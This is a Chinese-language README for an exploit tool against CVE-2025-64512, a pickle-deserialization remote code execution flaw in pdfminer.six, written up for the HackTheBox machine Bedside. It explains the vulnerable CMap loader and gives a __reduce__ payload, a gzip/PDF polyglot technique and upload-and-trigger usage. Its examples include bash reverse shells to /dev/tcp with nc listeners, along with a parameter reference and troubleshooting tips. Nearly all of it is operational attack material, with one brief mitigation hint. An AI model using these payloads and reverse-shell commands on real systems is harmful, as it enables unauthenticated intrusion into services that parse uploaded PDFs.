Python 3,仅使用标准库(无需 pip 安装)。仅供授权安全测试和 CTF 使用——您有责任遵守法律以及您所参与项目的 交战规则。
| CVE | CVE-2025-64512 |
| 受影响 | pdfminer.six < 20251107(已在 20251107 中修复——CMaps 改为 JSON) |
| 下游受害者 | markitdown < 0.1.4, pdfplumber < 0.11.8 |
| 类型 | CWE-502 不可信数据反序列化 → 未认证 RCE |
| 参考 PoC | luigigubello/CVE-2025-64512-Polyglot-PoC (单文件 polyglot 变体) |
测试目标:https://app.hackthebox.com/machines/Bedside
pdfminer.six 是一个流行的 Python 库,用于从 PDF 中提取文本。PDF 字体
需要 CMaps——将字符编码转换为 Unicode 的映射表——而 pdfminer
将它们以 gzip 压缩的 pickle(<name>.pickle.gz)形式打包在自身的包内。
看看 CMap 是如何加载的(pdfminer/cmapdb.py,20251107 之前的所有版本):
@classmethod
def _load_data(cls, name: str) -> Any:
name = name.replace("\0", "") # 唯一的净化处理
filename = "%s.pickle.gz" % name # ← 攻击者控制 `name`
cmap_paths = (
os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
os.path.join(os.path.dirname(__file__), "cmap"),
)
for directory in cmap_paths:
path = os.path.join(directory, filename) # ← 绝对路径名会忽略目录!
if os.path.exists(path):
with gzip.open(path) as gzfile:
return type(str(name), (), pickle.loads(gzfile.read())) # ← 💥
三个缺陷叠加在一起:
name 来自 PDF 本身。 Type0(CID)字体的 /Encoding 条目是一个
PDF 名称,攻击者可以完全控制它。PDF 名称不能包含原始的
/,因此使用 RFC 标准的十六进制转义来书写:名称
/#2f#76#61#72#2f… 解码为 /var/…。os.path.join 的怪癖。 当第二个参数是绝对路径时,第一个参数会被
完全忽略。因此,名称为 /var/www/site/uploads/shell 会让 pdfminer 查找
/var/www/site/uploads/shell.pickle.gz——磁盘上的_任意_路径——而不是它
自己的 CMap 目录。pickle.loads()。 pickle 可以携带“通过调用此函数来
重建我”的指令(__reduce__)。反序列化攻击者的字节 = 在调用 pdfminer 的
任何进程内运行攻击者的代码。利用前提——这个漏洞在任何同时提供等式两半的应用程序上都可以轻易利用:
{"__reduce__": eval("__import__('os').system('<your command>')")}。/Encoding 指向您的 pickle 的绝对路径。--mode two (默认)——上传 <name>.pickle.gz,然后上传 <name>.pdf。
当目标仅解析扩展名为 PDF 的文件时使用此模式
(例如监视 uploads/*.pdf 的监视器)。--mode polyglot——上传一个文件 <name>.pickle.gz,它_既_是
有效的 gzip-pickle 又是有效的 PDF:整个 PDF 隐藏在 gzip
头的 FCOMMENT 字段中(RFC 1952 允许注释;%PDF- 签名位于
第 10 个字节,xref 偏移量已预先调整,因此表保持有效)。
当目标将任何上传的文件都作为 PDF 解析而不管扩展名时使用此模式
(markitdown 风格的转换器)。--verify),等待目标的处理周期(--wait),
并且可以前置一个回调预言机(--callback),在您的命令运行之前
回连——这样即使您的主通道失败,也能证明执行成功。无需安装——Python 3.10+(使用 str | None 语法):
chmod +x cve_2025_64512.py
生成示例载荷,并(如果可导入存在漏洞的 pdfminer)在您自己的 Python 中 执行它们,以在接触目标之前证明攻击链有效:
# 将自测指向存在漏洞的 pdfminer 检出/轮子(任何 < 20251107)
export PDFMINER_PATH=/path/to/pdfminer_package_dir
python3 cve_2025_64512.py --selftest
预期输出以 SELFTEST PASS 结尾,针对双文件触发和 polyglot 均如此。
您也可以手动测试:
python3 cve_2025_64512.py --no-upload --path /tmp --name demo --command 'id > /tmp/pwned'
cp demo.pickle.gz demo-trigger.pdf /tmp/ # 放置为 /tmp/demo.pickle.gz
pdf2txt.py /tmp/demo-trigger.pdf # 仅存在漏洞的 pdfminer
cat /tmp/pwned # → 您的 uid
# 1. 为您的命令回调通道启动监听器
nc -lvnp 4444
# 2. 运行漏洞利用——让它自行发现上传目录
python3 cve_2025_64512.py \
--url http://research.target.htb/ \
--leak-path \
--verify /uploads \
--wait 35 \
--command "bash -c 'exec bash -i &>/dev/tcp/YOUR_IP/4444 <&1'"
完整参数参考:
echo "10.129.x.x bedside.htb research.bedside.htb" | sudo tee -a /etc/hosts
nc -lvnp 4444 & # 监听器
python3 cve_2025_64512.py \
--url http://research.bedside.htb/ \
--path /var/www/research.bedside.htb/uploads \
--verify /uploads --wait 35 \
--command "bash -c 'exec bash -i &>/dev/tcp/10.10.17.244/4444 <&1'"
# → 以 pdfminer 服务用户身份获得 shell(在 Bedside 上:datawrangler,位于容器内)
pickle.loads、torch.load、
yaml.load 都属于同一类漏洞。优先使用
仅数据格式(JSON、Safetensors、ONNX)。X-Powered-By 风格的标头并返回通用错误——两者都在 Bedside 上
泄露了成分清单。| 参数 | 用途 |
|---|
--command | 在目标上执行的 shell 命令(必需)。它在 sh -c 下运行,因此管道/重定向/子 shell 均可工作。 |
--url | 接收 multipart POST 的上传端点。 |
--upload-url | 如果上传目标 URL 与 --url 不同,则覆盖 POST 目标。 |
--field | Multipart 字段名(阅读门户的 HTML <form>;常见:uploadFile、file)。 |
--path | 上传文件落地的绝对服务器端目录(例如 /var/www/site/uploads)。PDF 在此处指定 pickle,因此必须精确。 |
--leak-path | 不知道路径?上传畸形内容并从门户的错误消息中抓取它(许多门户会打印目标路径)。 |
--name | 生成文件的基名(默认 shell)。重新运行时随机化以避免陈旧文件。 |
--mode | two(默认)或 polyglot——见 §2。 |
--callback URL | 在您的命令之前前置一个对 URL 的 HTTP 请求;运行 python3 -m http.server 8000 并观察命中。执行预言机。 |
--wait N | 上传后休眠 N 秒——匹配目标的处理节奏(监视器/cron 通常每 30 秒轮询一次;在假定失败之前等待完整周期)。 |
--verify /uploads | 之后对每个上传的文件执行 GET,以确认它落在 PDF 期望的位置。 |
--timeout、--out-dir、--no-upload、--selftest | HTTP 超时、本地输出目录、仅生成模式、本地演练。 |
| 症状 | 原因 / 修复 |
|---|
上传时出现 MIME type mismatch | 门户嗅探内容,而不仅仅是扩展名。两个载荷都是真正的 gzip / 真正的 PDF——检查您没有截断它们;trigger 必须以 %PDF- 开头,pickle 必须能解压(gzip -t)。 |
| 上传成功,但没有任何执行 | 1) 等待完整的监视器/cron 周期(--wait 35)。2) 确认 pickle 可在 <path>/<name>.pickle.gz 访问(--verify)。3) 检查运行 pdfminer 的进程能否_读取_您的文件。4) 使用 --callback 获得明确的执行信号。 |
| 上传路径未知 | --leak-path,或触发任何验证错误并阅读消息。 |
| Polyglot 从未触发 | 被解析的文件必须是_同一个_以 .pickle.gz 结尾的文件。如果目标仅解析 *.pdf 上传,请使用 --mode two。 |
目标日志中出现 TypeError: type.__new__() argument 3 must be dict | 那就是成功——pdfminer 执行了您的 pickle,然后被自己的返回值绊倒。无害。 |
| 目标已修补 | pdfminer ≥ 20251107 从 JSON 加载 CMaps。此处无可利用。 |